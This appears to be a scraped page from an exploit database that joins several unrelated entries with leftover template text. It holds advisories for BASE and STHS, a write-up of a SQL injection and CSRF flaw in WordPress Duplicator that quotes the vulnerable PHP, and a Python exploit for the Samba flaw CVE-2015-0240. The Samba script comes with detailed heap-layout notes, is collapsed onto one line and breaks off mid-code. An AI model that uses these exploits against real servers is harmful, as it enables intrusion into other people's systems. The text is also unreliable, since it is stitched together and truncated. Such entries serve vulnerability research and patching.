BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                             
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                             
BASE 1.4.5 is vulnerable; other versions may be affected.

# Exploit Title : Wordpress Duplicator <= 0.5.14 - SQL Injection & CSRF

# Exploit Author : Claudio Viviani

# Vendor Homepage : http://lifeinthegrid.com/labs/duplicator/

# Software Link : https://downloads.wordpress.org/plugin/duplicator.0.5.14.zip

# Date : 2015-04-08

# Tested on : Linux / Mozilla Firefox

# Description

 Wordpress Duplicator 0.5.14 suffers from remote SQL Injection Vulnerability
 
 
 Location file: /view/actions.php
 
 This is the bugged ajax functions wp_ajax_duplicator_package_delete:

 function duplicator_package_delete() {

  DUP_Util::CheckPermissions('export');

    try {
	global $wpdb;
	$json		= array();
	$post		= stripslashes_deep($_POST);
	$tblName	= $wpdb->prefix . 'duplicator_packages';
	$postIDs	= isset($post['duplicator_delid']) ? $post['duplicator_delid'] : null;
	$list		= explode(",", $postIDs);
	$delCount	= 0;

        if ($postIDs != null) {

            foreach ($list as $id) {
			$getResult = $wpdb->get_results("SELECT name, hash FROM `{$tblName}` WHERE id = {$id}", ARRAY_A);
			if ($getResult) {
				$row		=  $getResult[0];
				$nameHash	= "{$row['name']}_{$row['hash']}";
				$delResult	= $wpdb->query("DELETE FROM `{$tblName}` WHERE id = {$id}");
				if ($delResult != 0) {


 $post['duplicator_delid'] variable is not sanitized

 A authorized user with "export" permission or a remote unauthenticated attacker could
 use this vulnerability to execute arbitrary SQL queries on the victim
 WordPress web site by enticing an authenticated admin (CSRF)

Samba < 3.6.2 (x86) - Denial of Service (PoC)

HACKER · %s · %s

#!/usr/bin/python """ Exploit for Samba vulnerabilty (CVE-2015-0240) by sleepya The exploit only targets vulnerable x86 smbd <3.6.24 which 'creds' is controlled by ReferentID field of PrimaryName (ServerName). That means '_talloc_zero()' in libtalloc does not write a value on 'creds' address. Reference: - https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/ Note: - heap might be changed while running exploit, need to try again (with '-hs' or '-pa' option) if something failed Find heap address: - ubuntu PIE heap start range: b7700000 - b9800000 - start payload size: the bigger it is the lesser connection and binding time. but need more time to shrink payload size - payload is too big to fit in freed small hole. so payload is always at end of heap - start bruteforcing heap address from high memory address to low memory address to prevent 'creds' pointed to real heap chunk (also no crash but not our payload) Leak info: - heap layout is predictable because talloc_stackframe_pool(8192) is called after accepted connection and fork but before calling smbd_server_connection_loop_once() - before talloc_stackframe_pool(8192) is called, there are many holes in heap but their size are <8K. so pool is at the end of heap at this time - many data that allocated after talloc_stackframe_pool(8192) are allocated in pool. with the same pattern of request, the layout in pool are always the same. - many data are not allocated in pool but fit in free holes. so no small size data are allocated after pool. - normally there are only few data block allocated after pool. - pool size: 0x2048 (included glibc heap header 4 bytes) - a table that created in giconv_open(). the size is 0x7f88 (included glibc heap header 4 bytes) - p->in_data.pdu.data. the size is 0x10e8 (included glibc heap header 4 bytes) - this might not be allocated here because its size might fit in freed hole - all fragment should be same size to prevent talloc_realloc() changed pdu.data size - so last fragment should be padded - ndr DATA_BLOB. the size is 0x10d0 (included glibc heap header 4 bytes) - this might not be allocated here because its size might fit in freed hole - p->in_data.data.data. the size is our netlogon data - for 8K payload, the size is 0x2168 (included glibc heap header 4 bytes) - this data is allocated by realloc(), grew by each fragment. so this memory block is not allocated by mmapped even the size is very big. - pool layout for interested data - r->out offset from pool (talloc header) is 0x13c0 - r->out.return_authenticator offset from pool is 0x13c0+0x18 - overwrite this (with link unlink) to leak info in ServerPasswordSet response - smb_request offset from pool (talloc header) is 0x11a0 - smb_request.sconn offset from pool is 0x11a0+0x3c - socket fd is at smb_request.sconn address (first struct member) - more shared folder in configuration, more freed heap holes - only if there is no or one shared, many data might be unexpected allocated after pool. have to get that extra offset or bruteforce it More exploitation detail in code (comment) ;) """ import sys import time from struct import pack,unpack import argparse import impacket from impacket.dcerpc.v5 import transport, nrpc from impacket.dcerpc.v5.ndr import NDRCALL from impacket.dcerpc.v5.dtypes import WSTR class Requester: """ put all smb request stuff into class. help my editor folding them """ # impacket does not implement NetrServerPasswordSet # 3.5.4.4.6 NetrServerPasswordSet (Opnum 6) class NetrServerPasswordSet(NDRCALL): opnum = 6 structure = ( ('PrimaryName',nrpc.PLOGONSRV_HANDLE), ('AccountName',WSTR), ('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE), ('ComputerName',WSTR), ('Authenticator',nrpc.NETLOGON_AUTHENTICATOR), ('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD), ) # response is authenticator (8 bytes) and error code (4 bytes) # size of each field in sent packet req_server_handle_size = 16 req_username_hdr_size = 4 + 4 + 4 + 2 # max count, offset, actual count, trailing null req_sec_type_size = 2 req_computer_size = 4 + 4 + 4 + 2 req_authenticator_size = 8 + 2 + 4 req_new_pwd_size = 16 req_presize = req_server_handle_size + req_username_hdr_size + req_sec_type_size + req_computer_size + req_authenticator_size + req_new_pwd_size samba_rpc_fragment_size = 4280 netlogon_data_fragment_size = samba_rpc_fragment_size -

HACKER · %s · %s

source: https://www.securityfocus.com/bid/51991/info STHS v2 Web Portal is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
